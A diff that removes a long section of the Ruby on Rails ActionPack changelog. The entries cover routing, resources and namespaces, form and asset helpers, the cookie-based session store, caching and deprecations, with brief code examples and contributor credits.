-* Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb [David Heinemeier Hansson]
-
-* Removed deprecated methods [David Heinemeier Hansson]:
-
- - ActionController::Base#keep_flash (use flash.keep instead)
- - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
- - ActionController::Base.template_root/= methods (use ActionController#Base.view_paths/= instead)
- - ActionController::Base.cookie (use ActionController#Base.cookies[]= instead)
-
-* Removed the deprecated behavior of appending ".png" to image_tag/image_path calls without an existing extension [David Heinemeier Hansson]
-
-* Removed ActionController::Base.scaffold -- it went through the whole idea of scaffolding (card board walls you remove and tweak one by one). Use the scaffold generator instead (it does resources too now!) [David Heinemeier Hansson]
-
-* Optimise named route generation when using positional arguments. [Michael Koziarski]
-
- This change delivers significant performance benefits for the most
- common usage scenarios for modern rails applications by avoiding the
- costly trip through url_for. Initial benchmarks indicate this is
- between 6 and 20 times as fast.
-
-* Explicitly require active_record/query_cache before using it. [Jeremy Kemper]
-
-* Fix layout overriding response status. #9476 [lotswholetime]
-
-* Add field_set_tag for generating field_sets, closes #9477. [Damian Janowski]
-
-* Allow additional parameters to be passed to named route helpers when using positional arguments. Closes #8930 [Ian White]
-
-* Make render :partial work with a :collection of Hashes, previously this wasn't possible due to backwards compatibility restrictions. [Pratik Naik]
-
-* request.host works with IPv6 addresses. #9458 [yuya]
-
-* Fix bug where action caching sets the content type to the ActionCachePath object. Closes #9282 [mindforge]
-
-* Find layouts even if they're not in the first view_paths directory. Closes #9258 [caio]
-
-* Major improvement to the documentation for the options / select form helpers. Closes #9038 [Chris Kampmeier, jardeon, wesg]
-
-* Fix number_to_human_size when using different precisions. Closes #7536. [RichardStrand, mpalmer]
-
-* Added partial layouts (see example in action_view/lib/partials.rb) [David Heinemeier Hansson]
-
-* Allow you to set custom :conditions on resource routes. [Rick Olson]
-
-* Fixed that file.content_type for uploaded files would include a trailing \r #9053 [Brad Greenlee]
-
-* url_for now accepts a series of symbols representing the namespace of the record [Josh Knowles]
-
-* Make :trailing_slash work with query parameters for url_for. Closes #4004 [nov]
-
-* Make sure missing template exceptions actually say which template they were looking for. Closes #8683 [dasil003]
-
-* Fix errors with around_filters which do not yield, restore 1.1 behaviour with after filters. Closes #8891 [Stefan Kaes]
-
- After filters will *no longer* be run if an around_filter fails to yield, users relying on
- this behaviour are advised to put the code in question after a yield statement in an around filter.
-
-
-* Allow you to delete cookies with options. Closes #3685 [Josh Peek, Chris Wanstrath]
-
-* Allow you to render views with periods in the name. Closes #8076 [Norbert Crombach]
-
- render :partial => 'show.html.erb'
-
-* Improve capture helper documentation. #8796 [Chris Kampmeier]
-
-* Prefix nested resource named routes with their action name, e.g. new_group_user_path(@group) instead of group_new_user_path(@group). The old nested action named route is deprecated in Rails 1.2.4. #8558 [David Chelimsky]
-
-* Allow sweepers to be created solely for expiring after controller actions, not model changes [David Heinemeier Hansson]
-
-* Added assigns method to ActionController::Caching::Sweeper to easily access instance variables on the controller [David Heinemeier Hansson]
-
-* Give the legacy X-POST_DATA_FORMAT header greater precedence during params parsing for backward compatibility. [Jeremy Kemper]
-
-* Fixed that link_to with an href of # when using :method will not allow for click-through without JavaScript #7037 [Steven Bristol, Josh Peek]
-
-* Fixed that radio_button_tag should generate unique ids #3353 [Bob Silva, Rebecca, Josh Peek]
-
-* Fixed that HTTP authentication should work if the header is called REDIRECT_X_HTTP_AUTHORIZATION as well #6754 [Mislav Marohnić]
-
-* Don't mistakenly interpret the request uri as the query string. #8731 [Pratik Naik, Jeremy Kemper]
-
-* Make ActionView#view_paths an attr_accessor for real this time. Also, don't perform an unnecessary #compact on the @view_paths array in #initialize. Closes #8582 [dasil003, julik, Rick Olson]
-
-* Tolerate missing content type on multipart file uploads. Fix for Safari 3. [Jeremy Kemper]
-
-* Deprecation: remove pagination. Install the classic_pagination plugin for forward compatibility, or move to the superior will_paginate plugin. #8157 [Josh Peek]
-
-* Action caching is limited to GET requests returning 200 OK status. #3335 [tom@craz8.com, halfbyte, Dan Kubb, Josh Peek]
-
-* Improve Text Helper test coverage. #7274 [Rob Sanheim, Josh Peek]
-
-* Improve helper test coverage. #7208, #7212, #7215, #7233, #7234, #7235, #7236, #7237, #7238, #7241, #7243, #7244 [Rich Collins, Josh Peek]
-
-* Improve UrlRewriter tests. #7207 [Rich Collins]
-
-* Resources: url_for([parent, child]) generates /parents/1/children/2 for the nested resource. Likewise with the other simply helpful methods like form_for and link_to. #6432 [mhw, Jonathan Vaught, lotswholetime]
-
-* Assume html format when rendering partials in RJS. #8076 [Rick Olson]
-
-* Don't double-escape url_for in views. #8144 [Rich Collins, Josh Peek]
-
-* Allow JSON-style values for the :with option of observe_field. Closes #8557 [kommen]
-
-* Remove RAILS_ROOT from backtrace paths. #8540 [Tim Pope]
-
-* Routing: map.resource :logo routes to LogosController so the controller may be reused for multiple nestings or namespaces. [Jeremy Kemper]
-
-* render :partial recognizes Active Record associations as Arrays. #8538 [Kamal Fariz Mahyuddin]
-
-* Routing: drop semicolon and comma as route separators. [Jeremy Kemper]
-
-* request.remote_ip understands X-Forwarded-For addresses with nonstandard whitespace. #7386 [moses]
-
-* Don't prepare response when rendering a component. #8493 [jsierles]
-
-* Reduce file stat calls when checking for template changes. #7736 [alex]
-
-* Added custom path cache_page/expire_page parameters in addition to the options hashes [David Heinemeier Hansson]. Example:
-
- def index
- caches_page(response.body, "/index.html")
- end
-
-* Action Caching speedup. #8231 [Stefan Kaes]
-
-* Wordsmith resources documentation. #8484 [marclove]
-
-* Fix syntax error in code example for routing documentation. #8377. [Norbert Crombach]
-
-* Routing: respond with 405 Method Not Allowed status when the route path matches but the HTTP method does not. #6953 [Josh Peek, defeated, Dan Kubb, Coda Hale]
-
-* Add support for assert_select_rjs with :show and :hide. #7780 [dchelimsky]
-
-* Make assert_select's failure messages clearer about what failed. #7779 [dchelimsky]
-
-* Introduce a default respond_to block for custom types. #8174 [Josh Peek]
-
-* auto_complete_field takes a :method option so you can GET or POST. #8120 [zapnap]
-
-* Added option to suppress :size when using :maxlength for FormTagHelper#text_field #3112 [Tim Pope]
-
-* catch possible WSOD when trying to render a missing partial. Closes #8454 [Jonathan del Strother]
-
-* Rewind request body after reading it, if possible. #8438 [s450r1]
-
-* Resource namespaces are inherited by their has_many subresources. #8280 [marclove, Geoff Garside]
-
-* Fix filtered parameter logging with nil parameter values. #8422 [choonkeat]
-
-* Integration tests: alias xhr to xml_http_request and add a request_method argument instead of always using POST. #7124 [Nik Wakelin, François Beausoleil, Wizard]
-
-* Document caches_action. #5419 [Jarkko Laine]
-
-* Update to Prototype 1.5.1. [Sam Stephenson]
-
-* Allow routes to be decalred under namespaces [Tobias Lütke]:
-
- map.namespace :admin do |admin|
- admin.root :controller => "products"
- admin.feed 'feed.xml', :controller => 'products', :action => 'feed', :format => 'xml'
- end
-
-* Update to script.aculo.us 1.7.1_beta3. [Thomas Fuchs]
-
-* observe_form always sends the serialized form. #5271 [Manfred Stienstra, normelton@gmail.com]
-
-* Parse url-encoded and multipart requests ourselves instead of delegating to CGI. [Jeremy Kemper]
-
-* select :include_blank option can be set to a string instead of true, which just uses an empty string. #7664 [Wizard]
-
-* Added url_for usage on render :location, which allows for record identification [David Heinemeier Hansson]. Example:
-
- render :xml => person, :status => :created, :location => person
-
- ...expands the location to person_url(person).
-
-* Introduce the request.body stream. Lazy-read to parse parameters rather than always setting RAW_POST_DATA. Reduces the memory footprint of large binary PUT requests. [Jeremy Kemper]
-
-* Add some performance enhancements to ActionView.
-
- * Cache base_paths in @@cached_base_paths
- * Cache template extensions in @@cached_template_extension
- * Remove unnecessary rescues
-
-* Assume that rendered partials go by the HTML format by default
-
- def my_partial
- render :update do |page|
- # in this order
- # _foo.html.erb
- # _foo.erb
- # _foo.rhtml
- page.replace :foo, :partial => 'foo'
- end
- end
-
-* Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [David Heinemeier Hansson]. Examples:
-
- <% form_for(@post) do |f| %>
- ...
- <% end %>
-
- This will expand to be the same as:
-
- <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
- ...
- <% end %>
-
- And for new records:
-
- <% form_for(Post.new) do |f| %>
- ...
- <% end %>
-
- This will expand to be the same as:
-
- <% form_for :post, @post, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
- ...
- <% end %>
-
-* Rationalize route path escaping according to RFC 2396 section 3.3. #7544, #8307. [Jeremy Kemper, Chris Roos, begemot, jugend]
-
-* Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [David Heinemeier Hansson]. Examples:
-
- redirect_to(post) # => redirect_to(posts_url(post)) => Location: http://example.com/posts/1
- link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
-
- Any method that calls url_for on its parameters will automatically benefit from this.
-
-* Removed deprecated parameters_for_method_reference concept (legacy from before named routes) [David Heinemeier Hansson]
-
-* Add ActionController::Routing::Helpers, a module to contain common URL helpers such as polymorphic_url. [Nicholas Seckar]
-
-* Included the HttpAuthentication plugin as part of core (ActionController::HttpAuthentication::Basic) [David Heinemeier Hansson]
-
-* Modernize documentation for form helpers. [Jeremy McAnally]
-
-* Add brief introduction to REST to the resources documentation. [fearoffish]
-
-* Fix various documentation typos throughout ActionPack. [Henrik N]
-
-* Enhance documentation and add examples for url_for. [Jeremy McAnally]
-
-* Fix documentation typo in routes. [Norbert Crombach, pam]
-
-* Sweep flash when filter chain is halted. [Caio Chassot <lists@v2studio.com>]
-
-* Fixed that content_tag with a block will just return the result instead of concate it if not used in a ERb view #7857, #7432 [michael.niessner]
-
-* Replace the current block/continuation filter chain handling by an implementation based on a simple loop. #8226 [Stefan Kaes]
-
-* Update UrlWriter to accept :anchor parameter. Closes #6771. [Chris McGrath]
-
-* Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [David Heinemeier Hansson]. Example:
-
- <% div_for(post) do %> <div id="post_45" class="post">
- <%= post.body %> What a wonderful world!
- <% end %> </div>
-
-* Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [David Heinemeier Hansson]. Example:
-
- format.js do
- # Calls: new Effect.fade('post_45');
- render(:update) { |page| page[post].visual_effect(:fade) }
- end
-
-* Added RecordIdentifier to enforce view conventions on records for dom ids, classes, and partial paths [David Heinemeier Hansson]
-
-* Added map.namespace to deal with the common situation of admin sections and the like [David Heinemeier Hansson]
-
- Before:
-
- map.resources :products, :path_prefix => "admin", :controller => "admin/products", :collection => { :inventory => :get }, :member => { :duplicate => :post }
- map.resources :tags, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_tags"
- map.resources :images, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_images"
- map.resources :variants, :name_prefix => 'admin_product_', :path_prefix => "admin/products/:product_id", :controller => "admin/product_variants"
-
- After:
-
- map.namespace(:admin) do |admin|
- admin.resources :products,
- :collection => { :inventory => :get },
- :member => { :duplicate => :post },
- :has_many => [ :tags, :images, :variants ]
- end
-
-* Added :name_prefix as standard for nested resources [David Heinemeier Hansson]. WARNING: May be backwards incompatible with your app
-
- Before:
-
- map.resources :emails do |emails|
- emails.resources :comments, :name_prefix => "email_"
- emails.resources :attachments, :name_prefix => "email_"
- end
-
- After:
-
- map.resources :emails do |emails|
- emails.resources :comments
- emails.resources :attachments
- end
-
- This does mean that if you intended to have comments_url go to /emails/5/comments, then you'll have to set :name_prefix to nil explicitly.
-
-* Added :has_many and :has_one for declaring plural and singular resources beneath the current [David Heinemeier Hansson]
-
- Before:
-
- map.resources :notes do |notes|
- notes.resources :comments
- notes.resources :attachments
- notes.resource :author
- end
-
- After:
-
- map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
-
-* Added that render :xml will try to call to_xml if it can [David Heinemeier Hansson]. Makes these work:
-
- render :xml => post
- render :xml => comments
-
-* Added :location option to render so that the common pattern of rendering a response after creating a new resource is now a 1-liner [David Heinemeier Hansson]
-
- render :xml => post.to_xml, :status => :created, :location => post_url(post)
-
-* Ensure that render_text only adds string content to the body of the response [David Heinemeier Hansson]
-
-* Return the string representation from an Xml Builder when rendering a partial. Closes #5044 [Tim Pope]
-
-* Fixed that parameters from XML should also be presented in a hash with indifferent access [David Heinemeier Hansson]
-
-* Tweak template format rules so that the ACCEPT header is only used if it's text/javascript. This is so ajax actions without a :format param get recognized as Mime::JS. [Rick Olson]
-
-* The default respond_to blocks don't set a specific extension anymore, so that both 'show.rjs' and 'show.js.rjs' will work. [Rick Olson]
-
-* Allow layouts with extension of .html.erb. Closes #8032 [Josh Knowles]
-
-* Change default respond_to templates for xml and rjs formats. [Rick Olson]
-
- * Default xml template goes from #{action_name}.rxml => #{action_name}.xml.builder.
- * Default rjs template goes from #{action_name}.rjs => #{action_name}.js.rjs.
-
- You can still specify your old templates:
-
- respond_to do |format|
- format.xml do
- render :action => "#{action_name}.rxml"
- end
- end
-
-* Fix WSOD due to modification of a formatted template extension so that requests to templates like 'foo.html.erb' fail on the second hit. [Rick Olson]
-
-* Fix WSOD when template compilation fails [Rick Olson]
-
-* Change ActionView template defaults. Look for templates using the request format first, such as "show.html.erb" or "show.xml.builder", before looking for the old defaults like "show.erb" or "show.builder" [Rick Olson]
-
-* Highlight helper highlights one or many terms in a single pass. [Jeremy Kemper]
-
-* Dropped the use of ; as a separator of non-crud actions on resources and went back to the vanilla slash. It was a neat idea, but lots of the non-crud actions turned out not to be RPC (as the ; was primarily intended to discourage), but legitimate sub-resources, like /parties/recent, which didn't deserve the uglification of /parties;recent. Further more, the semicolon caused issues with caching and HTTP authentication in Safari. Just Not Worth It [David Heinemeier Hansson]
-
-* Added that FormTagHelper#submit_tag will return to its original state if the submit fails and you're using :disable_with [David Heinemeier Hansson]
-
-* Cleaned up, corrected, and mildly expanded ActionPack documentation. Closes #7190 [Jeremy McAnally]
-
-* Small collection of ActionController documentation cleanups. Closes #7319 [Jeremy McAnally]
-
-* Make sure the route expiry hash is constructed by comparing the to_param-ized values of each hash. [Jamis Buck]
-
-* Allow configuration of the default action cache path for #caches_action calls. [Rick Olson]
-
- class ListsController < ApplicationController
- caches_action :index, :cache_path => Proc.new { |controller|
- controller.params[:user_id] ?
- controller.send(:user_lists_url, c.params[:user_id]) :
- controller.send(:lists_url) }
- end
-
-* Performance: patch cgi/session/pstore to require digest/md5 once rather than per #initialize. #7583 [Stefan Kaes]
-
-* Cookie session store: ensure that new sessions doesn't reuse data from a deleted session in the same request. [Jeremy Kemper]
-
-* Deprecation: verification with :redirect_to => :named_route shouldn't be deprecated. #7525 [Justin French]
-
-* Cookie session store: raise ArgumentError when :session_key is blank. [Jeremy Kemper]
-
-* Deprecation: remove deprecated request, redirect, and dependency methods. Remove deprecated instance variables. Remove deprecated url_for(:symbol, *args) and redirect_to(:symbol, *args) in favor of named routes. Remove uses_component_template_root for toplevel components directory. Privatize deprecated render_partial and render_partial_collection view methods. Remove deprecated link_to_image, link_image_to, update_element_function, start_form_tag, and end_form_tag helper methods. Remove deprecated human_size helper alias. [Jeremy Kemper]
-
-* Consistent public/protected/private visibility for chained methods. #7813 [Dan Manges]
-
-* Prefer MIME constants to strings. #7707 [Dan Kubb]
-
-* Allow array and hash query parameters. Array route parameters are converted/to/a/path as before. #6765, #7047, #7462 [bgipsy, Jeremy McAnally, Dan Kubb, brendan]
-
-# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests
-using the cookie store's secret. [Rick Olson]
-
-* Added Request#url that returns the complete URL used for the request [David Heinemeier Hansson]
-
-* Extract dynamic scaffolding into a plugin. #7700 [Josh Peek]
-
-* Added user/password options for url_for to add http authentication in a URL [David Heinemeier Hansson]
-
-* Fixed that FormTagHelper#text_area_tag should disregard :size option if it's not a string [Brendon Davidson]
-
-* Set the original button value in an attribute of the button when using the :disable_with key with submit_tag, so that the original can be restored later. [Jamis Buck]
-
-* session_enabled? works with session :off. #6680 [Jonathan del Strother]
-
-* Added :port and :host handling to UrlRewriter (which unified url_for usage, regardless of whether it's called in view or controller) #7616 [alancfrancis]
-
-* Allow send_file/send_data to use a registered mime type as the :type parameter #7620 [jonathan]
-
-* Allow routing requirements on map.resource(s) #7633 [quixoten]. Example:
-
- map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
-
-* Cookie session store: empty and unchanged sessions don't write a cookie. [Jeremy Kemper]
-
-* Added helper(:all) as a way to include all helpers from app/helpers/**/*.rb in ApplicationController [David Heinemeier Hansson]
-
-* Integration tests: introduce methods for other HTTP methods. #6353 [caboose]
-
-* Routing: better support for escaped values in route segments. #7544 [Chris
-Roos]
-
-* Introduce a cookie-based session store as the Rails default. Sessions typically contain at most a user_id and flash message; both fit within the 4K cookie size limit. A secure message digest is included with the cookie to ensure data integrity (a user cannot alter his user_id without knowing the secret key included in the digest). If you have more than 4K of session data or don't want your data to be visible to the user, pick another session store. Cookie-based sessions are dramatically faster than the alternatives. [Jeremy Kemper]
-
- Example config/environment.rb:
- # Use an application-wide secret key and the default SHA1 message digest.
- config.action_controller.session = { :secret => "can't touch this" }
-
- # Store a secret key per user and employ a stronger message digest.
- config.action_controller.session = {
- :digest => 'SHA512',
- :secret => Proc.new { User.current.secret_key }
- }
-
-* Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
-
-* Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [David Heinemeier Hansson]. Examples:
-
- stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
- <link href="/stylesheets/style1.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="/stylesheets/styleB.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="/stylesheets/styleX2.css" media="screen" rel="Stylesheet" type="text/css" />
-
- stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
- <link href="/stylesheets/all.css" media="screen" rel="Stylesheet" type="text/css" />
-
- ...when caching is on, all.css is the concatenation of style1.css, styleB.css, and styleX2.css.
- Same deal for JavaScripts.
-
-* Work around the two connection per host browser limit: use asset%d.myapp.com to distribute asset requests among asset[0123].myapp.com. Use a DNS wildcard or CNAMEs to map these hosts to your asset server. See http://www.die.net/musings/page_load_time/ for background. [Jeremy Kemper]
-
-* Added default mime type for CSS (Mime::CSS) [David Heinemeier Hansson]
-
-* Added that rendering will automatically insert the etag header on 200 OK responses. The etag is calculated using MD5 of the response body. If a request comes in that has a matching etag, the response will be changed to a 304 Not Modified and the response body will be set to an empty string. [David Heinemeier Hansson]
-
-* Added X-Runtime to all responses with the request run time [David Heinemeier Hansson]
-
-* Add Mime::Type convenience methods to check the current mime type. [Rick Olson]
-
- request.format.html? # => true if Mime::HTML
- request.format.jpg? # => true if Mime::JPG
-
- # ActionController sample usage:
- # the session will be disabled for non html/ajax requests
- session :off, :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. [Stefan Kaes]
-
-* Add a :url_based_filename => true option to ActionController::Streaming::send_file, which allows URL-based filenames. [Thomas Fuchs]
-
-* Fix that FormTagHelper#submit_tag using :disable_with should trigger the onsubmit handler of its form if available [David Heinemeier Hansson]
-
-* Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD. [Rick Olson]
-
-* Fix issue with deprecation messing up #template_root= usage. Add #prepend_view_path and #append_view_path to allow modification of a copy of the
-superclass' view_paths. [Rick Olson]
-
-* Allow Controllers to have multiple view_paths instead of a single template_root. Closes #2754 [John Long]
-
-* Add much-needed html-scanner tests. Fixed CDATA parsing bug. [Rick Olson]
-
-* improve error message for Routing for named routes. Closes #7346 [Rob Sanheim]
-
-* Added enhanced docs to routing assertions. Closes #7359 [Rob Sanheim]
-
-* fix form_for example in ActionController::Resources documentation. Closes #7362 [gnarg]
-
-* Make sure that the string returned by TextHelper#truncate is actually a string, not a char proxy -- that should only be used internally while working on a multibyte-safe way of truncating [David Heinemeier Hansson]
-
-* Added FormBuilder#submit as a delegate for FormTagHelper#submit_tag [David Heinemeier Hansson]
-
-* Allow Routes to generate all urls for a set of options by specifying :generate_all => true. Allows caching to properly set or expire all paths for a resource. References #1739. [Nicholas Seckar]
-
-* Change the query parser to map empty GET params to "" rather than nil. Closes #5694. [Nicholas Seckar]
-
-* date_select and datetime_select take a :default option. #7052 [Nik Wakelin]
- date_select "post", "written_on", :default => 3.days.from_now
- date_select "credit_card", "bill_due", :default => { :day => 20 }
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 [nik.kakelin, ben, julik]
-
-* Improve routes documentation. #7095 [zackchandler]
-
-* mail_to :encode => 'hex' also encodes the mailto: part of the href attribute as well as the linked email when no name is given. #2061 [Jarkko Laine, pfc.pille@gmx.net]
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 [dkubb]
-
-* Remove deprecated assertions. [Jeremy Kemper]
-
-* Change session restoration to allow namespaced models to be autoloaded. Closes #6348. [Nicholas Seckar]
-
-* Fix doubly appearing parameters due to string and symbol mixups. Closes #2551. [Anthony Eden]
-
-* Fix overly greedy rescues when loading helpers. Fixes #6268. [Nicholas Seckar]
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 [ceefour]
-
-* Autolinking recognizes trailing and embedded . , : ; #7354 [Jarkko Laine]
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. [imajes]
-
-* Update to script.aculo.us 1.7.0. [Thomas Fuchs]
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 [Kevin Clark]
-
-* Improve Test Coverage for ActionController::Routing::Route#matches_controller_and_action? (Heckle++) #7115 [Kevin Clark]
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 [Kevin Clark]
-
-* Fix #distance_of_time_in_words to report accurately against the Duration class. #7114 [eventualbuddha]
-
-* Refactor #form_tag to allow easy extending. [Rick Olson]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* RecordInvalid, RecordNotSaved => 422 Unprocessable Entity, StaleObjectError => 409 Conflict. #7097 [dkubb]
-
-* Allow fields_for to be nested inside form_for, so that the name and id get properly constructed [Jamis Buck]
-
-* Allow inGroupsOf and eachSlice to be called through rjs. #7046 [Cody Fauser]
-
-* Allow exempt_from_layout :rhtml. #6742, #7026 [Dan Manges, Squeegy]
-
-* Recognize the .txt extension as Mime::TEXT [Rick Olson]
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 [Nicholas Seckar, aiwilliams, brentrowland]
-
-* link_to_unless_current works with full URLs as well as paths. #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
-
-* Lookup the mime type for #auto_discovery_link_tag in the Mime::Type class. Closes #6941 [Josh Peek]
-
-* Fix bug where nested resources ignore a parent singleton parent's path prefix. Closes #6940 [Dan Kubb]
-
-* Fix no method error with error_messages_on. Closes #6935 [nik.wakelin Koz]
-
-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 [Steven Bristol]
-
-* Slight doc tweak to #prepend_filter. Closes #6493 [Jeremy Voorhis]
-
-* Add more extensive documentation to the AssetTagHelper. Closes #6452 [Bob Silva]
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 [Bob Silva]
-
-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 [Jan Prill]
-
-* Make sure html_document is reset between integration test requests. [ctm]
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. [Josh Susser]
-
-* Routing uses URI escaping for path components and CGI escaping for query parameters. [darix, Jeremy Kemper]
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. [Rick Olson]
-
-* Singleton resources: POST /singleton => create, GET /singleton/new => new. [Jeremy Kemper]
-
-* Use 400 Bad Request status for unrescued ActiveRecord::RecordInvalid exceptions. [Jeremy Kemper]
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables. [Nate Wiger]
-
-* Only cache GET requests with a 200 OK response. #6514, #6743 [RSL, anamba]
-
-* Add a 'referer' attribute to TestRequest. [Jamis Buck]
-
-* Ensure render :json => ... skips the layout. Closes #6808 [Josh Peek]
-
-* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 [mitreandy]
-
-* Correctly report which filter halted the chain. #6699 [Martin Emde]
-
-* Fix a bug in Routing where a parameter taken from the path of the current request could not be used as a query parameter for the next. Closes #6752. [Nicholas Seckar]
-
-* Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500. [Jeremy Kemper]
-
-* Improved auto_link to match more valid urls correctly [Tobias Lütke]
-
-* Add singleton resources. [Rick Olson]
-
- map.resource :account
-
- GET /account
- GET /account;edit
- UPDATE /account
- DELETE /account
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 [Scott Raymond, eventualbuddha]
- # application/json response with body 'Element.show({:name: "David"})'
- respond_to do |format|
- format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
- end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 [sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva]
-
-* Adds html id attribute to date helper elements. #1050, #1382 [mortonda@dgrmm.net, David North, Bob Silva]
-
-* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 [moriq, Doug Fales, Bob Silva]
-
-* Add :order to datetime_select, select_datetime, and select_date. #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
-
-* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
-
-* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 [csn, Bob Silva]
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 [tomasj, Bob Silva]
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 [Bob Silva]
-
-* Added map.root as an alias for map.connect '' [David Heinemeier Hansson]
-
-* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [David Heinemeier Hansson]. Examples:
-
- GET /posts/5.xml | request.format => Mime::XML
- GET /posts/5.xhtml | request.format => Mime::HTML
- GET /posts/5 | request.format => request.accepts.first (usually Mime::HTML for browsers)
-
-* Added the option for extension aliases to mime type registration [David Heinemeier Hansson]. Example (already in the default routes):
-
- Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
-
- ...will respond on both .html and .xhtml.
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. [Jeremy Kemper]
-
-* Added CSV to Mime::SET so that respond_to csv will work [Cody Fauser]
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. [Nicholas Seckar]
-
-* Ensure render_to_string cleans up after itself when an exception is raised. #6658 [Rob Sanheim]
-
-* Extract template_changed_since? from compile_template? so plugins may override its behavior for non-file-based templates. #6651 [Jeff Barczewski]
-
-* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
-
-* simple_format helper doesn't choke on nil. #6644 [jerry426]
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. [Nicholas Seckar]
-
-* ActionView::Base.erb_variable accessor names the buffer variable used to render templates. Defaults to _erbout; use _buf for erubis. [Rick Olson]
-
-* assert_select_rjs :remove. [Dylan Egan]
-
-* Always clear model associations from session. #4795 [sd@notso.net, andylien@gmail.com]
-
-* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. [Sam Stephenson]
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 [dkubb]
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 [Andreas Schwarz, Jeremy Kemper]
-
-* assert_response supports symbolic status codes. #6569 [Kevin Clark]
- assert_response :ok
- assert_response :not_found
- assert_response :forbidden
-
-* Cache parsed query parameters. #6559 [Stefan Kaes]
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS [Thomas Fuchs]
-
-* pluralize helper interprets nil as zero. #6474 [Tim Pope]
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 [Bob Silva]
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. [Jeremy Kemper]
-
